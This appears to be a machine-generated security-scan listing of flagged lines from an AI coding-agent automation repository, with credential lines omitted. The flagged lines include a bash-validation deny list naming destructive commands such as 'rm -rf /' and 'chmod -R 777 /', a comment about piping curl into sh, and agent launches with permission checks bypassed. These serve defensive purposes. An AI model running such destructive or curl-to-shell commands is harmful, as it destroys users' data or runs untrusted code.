[Credential-related source omitted] - Access to secretsline 840
[Credential-related source omitted] - Access to secretsline 865
[Credential-related source omitted] - Access to secretsline 866
[Credential-related source omitted] - Access to secretsline 867
[Credential-related source omitted] - Dangerous shell operationline 872
cur_out=$(cd "$codebase_path" && eval "$cmd" 2>/dev/null) - Access to secretsline 879
[Credential-related source omitted] - Access to secretsline 880
[Credential-related source omitted] - Access to secretsline 886
[Credential-related source omitted] - Access to secretsline 894
[Credential-related source omitted] - Access to secretsline 898
[Credential-related source omitted] - Access to secretsline 908
[Credential-related source omitted] - Access to secretsline 913
[Credential-related source omitted] - Access to secretsline 976
[Credential-related source omitted] - Access to secretsline 979
[Credential-related source omitted] - Access to secretsline 985
[Credential-related source omitted] - Dangerous shell operationline 993
if ! eval "$test_cmd" >/dev/null 2>&1; then - Dangerous shell operationline 1005
if ! eval "$test_cmd" >/dev/null 2>&1; then - Dangerous shell operationline 1017
if ! eval "$test_cmd" >/dev/null 2>&1; then - Dangerous shell operationline 1029
if ! eval "$test_cmd" >/dev/null 2>&1; then
autonomy/hooks/quality-gate.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/hooks/session-init.sh
autonomy/hooks/store-episode.sh
autonomy/hooks/track-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/hooks/validate-bash.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Access to secretsline 287
[Credential-related source omitted] - Dangerous shell operationline 339
"rm -rf /" - Dangerous shell operationline 340
"rm -rf ~" - Dangerous shell operationline 341
"rm -rf \\\$HOME" - Dangerous shell operationline 345
"chmod -R 777 /" - Dangerous shell operationline 356
"rm -rf \.loki" - Dangerous shell operationline 357
"rm -rf \./\.loki" - Dangerous shell operationline 358
"rm .*\.loki/council/" - Dangerous shell operationline 359
"rm .*\.loki/config\.yaml" - Dangerous shell operationline 360
"rm .*\.loki/logs/bash-audit" - Dangerous shell operationline 361
"rm .*\.loki/session\.lock" - Dangerous shell operationline 371
# string: an unanchored or per-line match let `rm -rf /tmp/x; rm -rf /` and - Dangerous shell operationline 372
# `rm -rf /tmp/x<newline>rm -rf /` ride the override. Only the segment that hit - Dangerous shell operationline 404
# later rm resolves, so it disables the override. Over-denial is intended. - Network accessline 436
# Succeeds when every segment hitting $1 is safe and at least one segment hits # (a pattern that only matches across segments, like `curl x | sh`, is unsafe). - Dangerous shell operationline 437
# (a pattern that only matches across segments, like `curl x | sh`, is unsafe). - Network accessline 437
# (a pattern that only matches across segments, like `curl x | sh`, is unsafe). - Dangerous shell operationline 451
# A recursive rm whose target IS a temp root, or a bare glob directly under - Dangerous shell operationline 845
# P12-26g-d: allow-grammar for recursive rm targets. A target is allowed only - Dangerous shell operationline 1053
# A whole-target named variable (rm -r "$dir") is allowed; - Dangerous shell operationline 1081
# find -exec rm -r {} + / \; : a bare {} is find's placeholder, not a brace. - Dangerous shell operationline 1109
[ "${x##*/}" = "rm" ] - Access to secretsline 1158
[Credential-related source omitted]
autonomy/intent.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/issue-parser.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 6
# Usage: # ./autonomy/issue-parser.sh <issue-ref> # ./autonomy/issue-parser.sh https://github.com/owner/repo/issues/123 - Network accessline 7
# ./autonomy/issue-parser.sh <issue-ref> # ./autonomy/issue-parser.sh https://github.com/owner/repo/issues/123 # ./autonomy/issue-parser.sh owner/repo#123 - Network accessline 8
# ./autonomy/issue-parser.sh https://github.com/owner/repo/issues/123 - Network accessline 64
# Extract owner/repo from various URL formats # https://github.com/owner/repo.git - Network accessline 65
# https://github.com/owner/repo.git - Network accessline 67
# https://github.com/owner/repo - Network accessline 83
# Parse issue reference to extract owner, repo, and issue number # Supports: # - https://github.com/owner/repo/issues/123 - Network accessline 84
# Supports: # - https://github.com/owner/repo/issues/123 # - owner/repo#123 - Network accessline 85
# - https://github.com/owner/repo/issues/123 - Network accessline 93
# URL format: https://github.com/owner/repo/issues/123 - Network accessline 115
log_error "Invalid issue reference format: $ref" log_error "Supported formats:" log_error " - https://github.com/owner/repo/issues/123" - Network accessline 116
log_error "Supported formats:" log_error " - https://github.com/owner/repo/issues/123" log_error " - owner/repo#123" - Network accessline 117
log_error " - https://github.com/owner/repo/issues/123" - Dangerous shell operationline 319
mv -f "$ctx_tmp" "$state_dir/issue-context.json" 2>/dev/null || rm -f "$ctx_tmp" - Dangerous shell operationline 321
rm -f "$ctx_tmp" 2>/dev/null || true - Dangerous shell operationline 348
mv -f "$plan_tmp" "$state_dir/journey-plan.json" 2>/dev/null || rm -f "$plan_tmp" - Dangerous shell operationline 350
rm -f "$plan_tmp" 2>/dev/null || true - Dangerous shell operationline 373
mv -f "$first_tmp" "$state_dir/first-useful-result.json" 2>/dev/null || rm -f "$first_tmp" - Dangerous shell operationline 374
|| rm -f "$first_tmp" - Dangerous shell operationline 376
rm -f "$first_tmp" 2>/dev/null || true - Network accessline 655
${CYAN}Issue Reference Formats:${NC} https://github.com/owner/repo/issues/123 - Network accessline 656
https://github.com/owner/repo/issues/123 - Network accessline 668
$(basename "$0") 123 $(basename "$0") owner/repo#456 $(basename "$0") https://github.com/owner/repo/issues/789 --format json - Network accessline 669
$(basename "$0") owner/repo#456 $(basename "$0") https://github.com/owner/repo/issues/789 --format json $(basename "$0") 123 --output issue-prd.yaml - Network accessline 670
$(basename "$0") https://github.com/owner/repo/issues/789 --format json
autonomy/issue-providers.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 6
# Usage: # source autonomy/issue-providers.sh # detect_issue_provider "https://github.com/org/repo/issues/123" - Network accessline 7
# source autonomy/issue-providers.sh # detect_issue_provider "https://github.com/org/repo/issues/123" # fetch_issue "https://github.com/org/repo/issues/123" - Network accessline 8
# detect_issue_provider "https://github.com/org/repo/issues/123" - Network accessline 9
# fetch_issue "https://github.com/org/repo/issues/123" - Network accessline 10
# fetch_issue "https://gitlab.com/org/repo/-/issues/42" - Network accessline 11
# fetch_issue "https://org.atlassian.net/browse/PROJ-123" - Network accessline 12
# fetch_issue "https://dev.azure.com/org/project/_workitems/edit/456" - Network accessline 72
sentry_ref_is_sentry() { local ref="$1" if [[ "$ref" =~ ^https://[^/]*sentry[^/]*/.*issues/[0-9]+ ]]; then - Network accessline 73
local ref="$1" if [[ "$ref" =~ ^https://[^/]*sentry[^/]*/.*issues/[0-9]+ ]]; then return 0 - Network accessline 74
if [[ "$ref" =~ ^https://[^/]*sentry[^/]*/.*issues/[0-9]+ ]]; then - Access to secretsline 109
[Credential-related source omitted] - Network accessline 166
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Network accessline 167
# curl config on stdin, never on argv, and is never echoed. - Access to secretsline 170
[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Network accessline 173
return 1 fi if [[ "$ref" =~ ^https://([^/]+)/.*issues/([0-9]+) ]]; then - Network accessline 174
fi if [[ "$ref" =~ ^https://([^/]+)/.*issues/([0-9]+) ]]; then host="${BASH_REMATCH[1]}"; id="${BASH_REMATCH[2]}" - Network accessline 175
if [[ "$ref" =~ ^https://([^/]+)/.*issues/([0-9]+) ]]; then - Network accessline 180
fi case "$host" in *.sentry.io) host="sentry.io" ;; esac base="https://${host}/api/0/issues/${id}" - Network accessline 181
case "$host" in *.sentry.io) host="sentry.io" ;; esac base="https://${host}/api/0/issues/${id}" local issue ev - Network accessline 182
base="https://${host}/api/0/issues/${id}" - Network accessline 183
[Credential-related source omitted] - Network accessline 184
[Credential-related source omitted] - Access to secretsline 184
[Credential-related source omitted] - Network accessline 185
| curl -sS --fail --max-time 30 -K - "${base}/" 2>/dev/null) || { - Access to secretsline 186
[Credential-related source omitted] - Network accessline 188
[Credential-related source omitted] - Network accessline 189
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Network accessline 190
| curl -sS --fail --max-time 30 -K - "${base}/events/latest/" 2>/dev/null) || ev='{}' - Network accessline 231
# Jira uses REST API via curl - check for JIRA_API_TOKEN - Access to secretsline 232
[Credential-related source omitted] - Access to secretsline 234
[Credential-related source omitted] - Network accessline 237
if [ -z "${JIRA_URL:-}" ] && [ -z "${JIRA_BASE_URL:-}" ]; then echo -e "${RED}Error: JIRA_URL or JIRA_BASE_URL not set${NC}" >&2 echo "Set with: export JIRA_URL=https://your-org.atlassian.net" >&2 - Network accessline 238
echo -e "${RED}Error: JIRA_URL or JIRA_BASE_URL not set${NC}" >&2 echo "Set with: export JIRA_URL=https://your-org.atlassian.net" >&2 return 1 - Network accessline 239
echo "Set with: export JIRA_URL=https://your-org.atlassian.net" >&2 - Access to secretsline 357
[Credential-related source omitted] - Access to secretsline 358
[Credential-related source omitted] - Network accessline 388
parsed_port = parsed_url.port except ValueError: refuse(f'expected https://github.com{expected_path}, received {url!r}') - Network accessline 389
except ValueError: refuse(f'expected https://github.com{expected_path}, received {url!r}') if ( - Network accessline 390
refuse(f'expected https://github.com{expected_path}, received {url!r}') - Network accessline 399
or parsed_url.path.rstrip('/').casefold() != expected_path.casefold() ): refuse(f'expected https://github.com{expected_path}, received {url!r}') - Network accessline 401
refuse(f'expected https://github.com{expected_path}, received {url!r}') - Access to secretsline 472
[Credential-related source omitted] - Access to secretsline 481
[Credential-related source omitted] - Network accessline 495
local issue_json issue_json=$(curl -sf -H "$auth_header" -H "Content-Type: application/json" \ - Network accessline 496
[Credential-related source omitted] - Access to secretsline 496
[Credential-related source omitted] - Access to secretsline 497
[Credential-related source omitted] - Access to secretsline 502
[Credential-related source omitted] - Access to secretsline 506
[Credential-related source omitted] - Access to secretsline 507
[Credential-related source omitted] - Access to secretsline 508
[Credential-related source omitted] - Network accessline 530
local issue_json issue_json=$(az boards work-item show --id "$id" --org "https://dev.azure.com/$org" --output json 2>&1) || { - Network accessline 531
issue_json=$(az boards work-item show --id "$id" --org "https://dev.azure.com/$org" --output json 2>&1) || { - Access to secretsline 540
[Credential-related source omitted] - Network accessline 567
echo -e "${RED}Error: Could not detect issue provider from: $ref${NC}" >&2 echo "Supported formats:" >&2 echo " GitHub: https://github.com/owner/repo/issues/123 or owner/repo#123 or #123" >&2 - Network accessline 568
echo "Supported formats:" >&2 echo " GitHub: https://github.com/owner/repo/issues/123 or owner/repo#123 or #123" >&2 echo " GitLab: https://gitlab.com/owner/repo/-/issues/42" >&2 - Network accessline 569
echo " GitHub: https://github.com/owner/repo/issues/123 or owner/repo#123 or #123" >&2 - Network accessline 570
echo " GitLab: https://gitlab.com/owner/repo/-/issues/42" >&2 - Network accessline 571
echo " Jira: https://org.atlassian.net/browse/PROJ-123 or PROJ-123" >&2 - Network accessline 572
echo " Azure DevOps: https://dev.azure.com/org/project/_workitems/edit/456" >&2 - Access to secretsline 616
[Credential-related source omitted]
autonomy/lib/ablation.py
autonomy/lib/assets_bundle.py
autonomy/lib/backlog.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 347
[Credential-related source omitted] - Access to secretsline 383
[Credential-related source omitted] - Access to secretsline 387
[Credential-related source omitted] - Access to secretsline 390
[Credential-related source omitted] - Access to secretsline 441
[Credential-related source omitted]
autonomy/lib/browser-open.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/lib/chat.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 6
_LOKI_CHAT_SYSTEM_PROMPT="You are running inside Loki Mode chat. Be concise. Prefer small, verifiable changes. Loki commands available to the user: loki start (also --workspace and --deploy; deploy takes --destination, --canary, --env-file, - Access to secretsline 178
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Dangerous shell operationline 382
git rm -f -q --cached -- "$f" 2>/dev/null || true - Dangerous shell operationline 383
rm -f -- "$f" - Dangerous shell operationline 391
rm -f -- "$f"
autonomy/lib/check_author.py
autonomy/lib/checkpoint_sync.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 123
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 128
[Credential-related source omitted] - Access to secretsline 271
[Credential-related source omitted] - Access to secretsline 272
[Credential-related source omitted]
autonomy/lib/claim_grounding.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/claude-flags.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 106
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 128
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted] - Access to secretsline 201
[Credential-related source omitted] - Access to secretsline 202
[Credential-related source omitted] - Access to secretsline 205
[Credential-related source omitted] - Access to secretsline 213
[Credential-related source omitted] - Access to secretsline 215
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 226
[Credential-related source omitted] - Dangerous shell operationline 366
printf '%s' "Edit,Write,NotebookEdit,Bash(git commit:*),Bash(git reset:*),Bash(git push:*),Bash(git checkout:*),Bash(git clean:*),Bash(git rm:*),Bash(git stash:*),Bash(git -C:*),Bash(git --git-dir:*),Bash(git -c:*),Bash(git --exec-path:*),B - Network accessline 372
# needs (Read, Grep, Glob, read-only git, and a small set of read-only shell # commands). Per `claude --help` and the official permission docs # (https://code.claude.com/docs/en/cli-reference, - Network accessline 373
# commands). Per `claude --help` and the official permission docs # (https://code.claude.com/docs/en/cli-reference, # https://code.claude.com/docs/en/permissions) --allowedTools entries are - Network accessline 374
# (https://code.claude.com/docs/en/cli-reference, - Network accessline 375
# https://code.claude.com/docs/en/permissions) --allowedTools entries are - Instruction override signalline 387
# - deny-only Bash(git status:*) -> BLOCKED (control) # - allow + deny BOTH on Bash(git status:*) -> BLOCKED (deny wins) # - allow + deny BOTH, under --dangerously-skip-permissions -> BLOCKED - Instruction override signalline 388
# - allow + deny BOTH on Bash(git status:*) -> BLOCKED (deny wins) # - allow + deny BOTH, under --dangerously-skip-permissions -> BLOCKED # So DENY PRECEDENCE holds even in bypassPermissions mode (the mode every council - Instruction override signalline 389
# - allow + deny BOTH, under --dangerously-skip-permissions -> BLOCKED - Instruction override signalline 396
# This is a GUARDRAIL, not a sandbox (same caveat as the denylist): --allowedTools # governs whether a tool runs WITHOUT A PROMPT, and these subcalls already run # under --dangerously-skip-permissions, so the practical effect is to restrict - Instruction override signalline 397
# governs whether a tool runs WITHOUT A PROMPT, and these subcalls already run # under --dangerously-skip-permissions, so the practical effect is to restrict the # in-context tool surface to the allowlisted set while the denylist hard-block - Instruction override signalline 398
# under --dangerously-skip-permissions, so the practical effect is to restrict the - Access to secretsline 453
[Credential-related source omitted] - Access to secretsline 454
[Credential-related source omitted] - Network accessline 624
# ---------- v7.x caveman output-token compressor gates ---------- # caveman (https://github.com/JuliusBrussee/caveman, MIT, vendor-less pin) is a - Network accessline 625
# caveman (https://github.com/JuliusBrussee/caveman, MIT, vendor-less pin) is a - Dangerous shell operationline 663
# curl|bash path delegates to `npx -y github:JuliusBrussee/caveman#<ref>`. We - Dangerous shell operationline 895
# runs the upstream installer exactly as a user's own `curl|bash` would; we do - Dangerous shell operationline 957
rm -rf -- "$bootstrap_tmp" 2>/dev/null || true - Access to secretsline 1029
[Credential-related source omitted] - Network accessline 1052
# CLAUDE_CODE_MAX_CONCURRENT_SUBAGENTS) so one message can't fan out # unbounded background agents" # -- https://github.com/anthropics/claude-code/releases/tag/v2.1.217 - Network accessline 1053
# unbounded background agents" # -- https://github.com/anthropics/claude-code/releases/tag/v2.1.217 # - Network accessline 1054
# -- https://github.com/anthropics/claude-code/releases/tag/v2.1.217 - Instruction override signalline 1095
# P12-26 / C-C2: the compiled permission policy swaps --dangerously-skip-permissions for - Instruction override signalline 1148
_loki_claude_permission_argv() { _LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Instruction override signalline 1149
_LOKI_PERM_ARGV=(--dangerously-skip-permissions)
autonomy/lib/claude_permissions.py
autonomy/lib/cockpit-render.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 205
[Credential-related source omitted] - Access to secretsline 206
[Credential-related source omitted] - Access to secretsline 209
[Credential-related source omitted] - Access to secretsline 304
[Credential-related source omitted] - Access to secretsline 359
[Credential-related source omitted]
autonomy/lib/config-map.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 187
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 196
[Credential-related source omitted] - Access to secretsline 223
[Credential-related source omitted] - Access to secretsline 516
[Credential-related source omitted] - Access to secretsline 530
[Credential-related source omitted] - Access to secretsline 654
[Credential-related source omitted] - Access to secretsline 659
[Credential-related source omitted] - Access to secretsline 733
[Credential-related source omitted] - Access to secretsline 799
[Credential-related source omitted] - Dangerous shell operationline 884
rm -f "$scratch_json"; return 2 - Access to secretsline 895
[Credential-related source omitted] - Access to secretsline 896
[Credential-related source omitted] - Access to secretsline 899
[Credential-related source omitted] - Dangerous shell operationline 953
# unconditional rm on a possibly-empty path instead. - Dangerous shell operationline 954
rm -f "${scratch_json:-/dev/null}" 2>/dev/null - Access to secretsline 966
[Credential-related source omitted] - Access to secretsline 967
[Credential-related source omitted] - Access to secretsline 970
[Credential-related source omitted] - Access to secretsline 971
[Credential-related source omitted] - Access to secretsline 975
[Credential-related source omitted] - Access to secretsline 976
[Credential-related source omitted] - Access to secretsline 977
[Credential-related source omitted] - Access to secretsline 1028
[Credential-related source omitted] - Access to secretsline 1036
[Credential-related source omitted] - Access to secretsline 1040
[Credential-related source omitted] - Access to secretsline 1044
[Credential-related source omitted] - Access to secretsline 1053
[Credential-related source omitted] - Access to secretsline 1054
[Credential-related source omitted] - Access to secretsline 1072
[Credential-related source omitted] - Access to secretsline 1074
[Credential-related source omitted] - Access to secretsline 1076
[Credential-related source omitted] - Access to secretsline 1115
[Credential-related source omitted] - Access to secretsline 1117
[Credential-related source omitted] - Access to secretsline 1150
[Credential-related source omitted] - Access to secretsline 1154
[Credential-related source omitted]
autonomy/lib/contract-scaffold/generate.mjs
- Executable scriptline 1
#!/usr/bin/env node
autonomy/lib/contract-scaffold/scaffold.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/lib/cost-summary.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/cr-rematerialize.py
autonomy/lib/crash_capture.py
autonomy/lib/crash_redact.py
autonomy/lib/deadline.py
autonomy/lib/decision_record.py
autonomy/lib/dependency-setup.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 68
rm -f "$temporary" 2>/dev/null || true - Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 87
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 93
[Credential-related source omitted] - Dangerous shell operationline 151
if ! rm -f "$marker_file"; then
autonomy/lib/done-recognition.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 97
[Credential-related source omitted] - Dangerous shell operationline 126
rm -f "$_sdk_prompt_f" 2>/dev/null || true - Instruction override signalline 166
_dr_schema_content="$(cat "$_dr_schema" 2>/dev/null)" || _dr_schema_content="" if [ -n "$_dr_schema_content" ]; then _LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Instruction override signalline 167
if [ -n "$_dr_schema_content" ]; then _LOKI_PERM_ARGV=(--dangerously-skip-permissions) ! type _loki_claude_permission_argv >/dev/null 2>&1 || _loki_claude_permission_argv - Instruction override signalline 168
_LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Instruction override signalline 203
local rc=0 local out="" _LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Instruction override signalline 204
local out="" _LOKI_PERM_ARGV=(--dangerously-skip-permissions) ! type _loki_claude_permission_argv >/dev/null 2>&1 || _loki_claude_permission_argv - Instruction override signalline 205
_LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Access to secretsline 259
[Credential-related source omitted] - Access to secretsline 359
[Credential-related source omitted] - Access to secretsline 360
[Credential-related source omitted] - Access to secretsline 364
[Credential-related source omitted] - Access to secretsline 365
[Credential-related source omitted] - Access to secretsline 366
[Credential-related source omitted] - Access to secretsline 367
[Credential-related source omitted] - Access to secretsline 368
[Credential-related source omitted] - Access to secretsline 454
[Credential-related source omitted] - Access to secretsline 455
[Credential-related source omitted] - Access to secretsline 456
[Credential-related source omitted] - Access to secretsline 457
[Credential-related source omitted] - Access to secretsline 878
[Credential-related source omitted] - Access to secretsline 886
[Credential-related source omitted] - Access to secretsline 887
[Credential-related source omitted] - Access to secretsline 888
[Credential-related source omitted] - Access to secretsline 889
[Credential-related source omitted] - Access to secretsline 954
[Credential-related source omitted] - Access to secretsline 956
[Credential-related source omitted] - Access to secretsline 963
[Credential-related source omitted] - Access to secretsline 964
[Credential-related source omitted] - Dangerous shell operationline 989
rm -f "$loki_dir/queue/.prd-populated" 2>/dev/null || true - Access to secretsline 996
[Credential-related source omitted]
autonomy/lib/efficiency_cost.py
autonomy/lib/effort_estimator.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 253
[Credential-related source omitted] - Access to secretsline 258
[Credential-related source omitted] - Access to secretsline 261
[Credential-related source omitted] - Access to secretsline 268
[Credential-related source omitted] - Access to secretsline 275
[Credential-related source omitted] - Access to secretsline 328
[Credential-related source omitted]
autonomy/lib/engine10-push-gitlab.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 22
lc="$(printf '%s' "$u" | tr '[:upper:]' '[:lower:]')" case "$lc" in https://gitlab.com/*) pre="https://gitlab.com/" ;; - Network accessline 23
case "$lc" in https://gitlab.com/*) pre="https://gitlab.com/" ;; git@gitlab.com:*) pre="git@gitlab.com:" ;; - Network accessline 24
https://gitlab.com/*) pre="https://gitlab.com/" ;; - Dangerous shell operationline 80
trap 'rm -rf "$tmp"' EXIT - Network accessline 114
if [ -z "$mr" ]; then mr="$(_e10_glab mr create --repo "$proj" --source-branch "$branch" --title "$title" \ --description "$(cat "$body")" --yes "${draft[@]}" | grep -Eo 'https://gitlab\.com/[^[:space:]]+' | tail -n 1)" \ - Network accessline 115
mr="$(_e10_glab mr create --repo "$proj" --source-branch "$branch" --title "$title" --description "$(cat "$body")" --yes "${draft[@]}" | grep -Eo 'https://gitlab\.com/[^[:space:]]+' | tail -n 1)" - Network accessline 116
--description "$(cat "$body")" --yes "${draft[@]}" | grep -Eo 'https://gitlab\.com/[^[:space:]]+' | tail -n 1)" \
autonomy/lib/engine10-push.sh
autonomy/lib/expectation-ledger.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/failure_memory.py
autonomy/lib/fast_verify.py
autonomy/lib/functional-verify.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 152
data = json.dumps(body).encode() headers["Content-Type"] = "application/json" req = urllib.request.Request(url, data=data, method=method, headers=headers) - Network accessline 153
headers["Content-Type"] = "application/json" req = urllib.request.Request(url, data=data, method=method, headers=headers) try: - Network accessline 154
req = urllib.request.Request(url, data=data, method=method, headers=headers) - Network accessline 155
try: with urllib.request.urlopen(req, timeout=timeout) as resp: raw = resp.read().decode("utf-8", "replace") - Network accessline 156
with urllib.request.urlopen(req, timeout=timeout) as resp: - Network accessline 285
data = b"{}" if method in ("POST", "PUT", "PATCH") else None headers = {"Content-Type": "application/json"} if data else {} req = urllib.request.Request(url, data=data, method=method, headers=headers) - Network accessline 286
headers = {"Content-Type": "application/json"} if data else {} req = urllib.request.Request(url, data=data, method=method, headers=headers) opener = urllib.request.build_opener(_NoRedirect) - Network accessline 287
req = urllib.request.Request(url, data=data, method=method, headers=headers)
autonomy/lib/gate_policy.py
autonomy/lib/git-pr-advisory.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 36
# Echoes a GitHub compare URL, or empty if the origin URL is not a parseable # github.com remote. Handles both ssh (git@github.com:owner/repo.git) and https # (https://github.com/owner/repo[.git]) forms. Non-github hosts -> empty. - Network accessline 38
# (https://github.com/owner/repo[.git]) forms. Non-github hosts -> empty. - Network accessline 58
if [ -n "$repo" ] && [ "$repo" != "$origin_url" ] && [ "${repo#*/}" != "$repo" ]; then printf '%s' "https://github.com/${repo}/compare/${base}...${head}?expand=1" - Network accessline 59
printf '%s' "https://github.com/${repo}/compare/${base}...${head}?expand=1"
autonomy/lib/help-core.sh
autonomy/lib/iteration_attribution.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/json-output.sh
autonomy/lib/lock.sh
autonomy/lib/loki_yaml.py
autonomy/lib/mcp-config.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 89
rm -f -- "$f" 2>/dev/null - Dangerous shell operationline 124
rm -f -- "$tmp_bundle" 2>/dev/null # our pid left over from a reused pid - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 128
[Credential-related source omitted] - Dangerous shell operationline 146
rm -f "$tmp_bundle" 2>/dev/null - Dangerous shell operationline 158
rm -f "$tmp_bundle" 2>/dev/null - Dangerous shell operationline 161
rm -f "$tmp_bundle" 2>/dev/null - Access to secretsline 169
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Access to secretsline 262
[Credential-related source omitted] - Access to secretsline 302
[Credential-related source omitted] - Access to secretsline 303
[Credential-related source omitted] - Access to secretsline 305
[Credential-related source omitted] - Access to secretsline 316
[Credential-related source omitted]
autonomy/lib/modernize/java_capture.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/lib/modernize/py_capture.py
autonomy/lib/modernize/py_imports.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/no_mock_scan.py
autonomy/lib/os_sandbox.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 290
probe_port = 0 for port in ports: with socket.socket() as candidate: - Network accessline 291
for port in ports: with socket.socket() as candidate: try: - Network accessline 292
with socket.socket() as candidate: - Network accessline 330
else: raise SystemExit(41) with socket.socket(socket.AF_UNIX) as client: - Network accessline 331
raise SystemExit(41) with socket.socket(socket.AF_UNIX) as client: try: - Network accessline 332
with socket.socket(socket.AF_UNIX) as client: - Network accessline 337
else: raise SystemExit(42) with socket.socket() as listener: - Network accessline 338
raise SystemExit(42) with socket.socket() as listener: try: - Network accessline 339
with socket.socket() as listener: - Network accessline 346
raise SystemExit(43) """ with socket.socket(socket.AF_UNIX) as unix_server: - Network accessline 347
""" with socket.socket(socket.AF_UNIX) as unix_server: unix_server.bind(str(unix_socket_path)) - Network accessline 348
with socket.socket(socket.AF_UNIX) as unix_server: - Access to secretsline 367
[Credential-related source omitted] - Access to secretsline 368
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Access to secretsline 473
[Credential-related source omitted] - Access to secretsline 482
[Credential-related source omitted] - Access to secretsline 499
[Credential-related source omitted]
autonomy/lib/outcome_contract.py
- Executable scriptline 1
Executable file
autonomy/lib/outcome_ledger.py
autonomy/lib/own-render.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/prd-enrich.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 70
rm -f "$_pe_pf" 2>/dev/null || true - Instruction override signalline 87
local rc=0 local out="" _LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Instruction override signalline 88
local out="" _LOKI_PERM_ARGV=(--dangerously-skip-permissions) ! type _loki_claude_permission_argv >/dev/null 2>&1 || _loki_claude_permission_argv - Instruction override signalline 89
_LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Access to secretsline 169
[Credential-related source omitted] - Access to secretsline 290
[Credential-related source omitted] - Access to secretsline 291
[Credential-related source omitted] - Access to secretsline 292
[Credential-related source omitted] - Access to secretsline 293
[Credential-related source omitted] - Access to secretsline 410
[Credential-related source omitted] - Access to secretsline 411
[Credential-related source omitted]
autonomy/lib/preedit_snapshot.py
autonomy/lib/project-graph.sh
autonomy/lib/proof-analytics-props.py
autonomy/lib/proof-check.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/lib/proof-generator.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 349
[Credential-related source omitted] - Access to secretsline 566
[Credential-related source omitted] - Access to secretsline 736
[Credential-related source omitted] - Access to secretsline 737
[Credential-related source omitted] - Access to secretsline 738
[Credential-related source omitted] - Access to secretsline 1138
[Credential-related source omitted] - Access to secretsline 1414
[Credential-related source omitted] - Access to secretsline 1533
[Credential-related source omitted] - Access to secretsline 1617
[Credential-related source omitted] - Access to secretsline 1631
[Credential-related source omitted] - Access to secretsline 1684
[Credential-related source omitted] - Access to secretsline 1691
[Credential-related source omitted] - Access to secretsline 2027
[Credential-related source omitted] - Access to secretsline 2098
[Credential-related source omitted] - Access to secretsline 2440
[Credential-related source omitted] - Access to secretsline 2470
[Credential-related source omitted] - Access to secretsline 2527
[Credential-related source omitted]
autonomy/lib/proof-pr.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/lib/proof-template.html
- Network accessline 453
<div class="footer"> <a id="madeWith" href="https://github.com/asklokesh/loki-mode" rel="noopener">Made with Loki Mode</a> - Network accessline 454
<a id="madeWith" href="https://github.com/asklokesh/loki-mode" rel="noopener">Made with Loki Mode</a> - Network accessline 1430
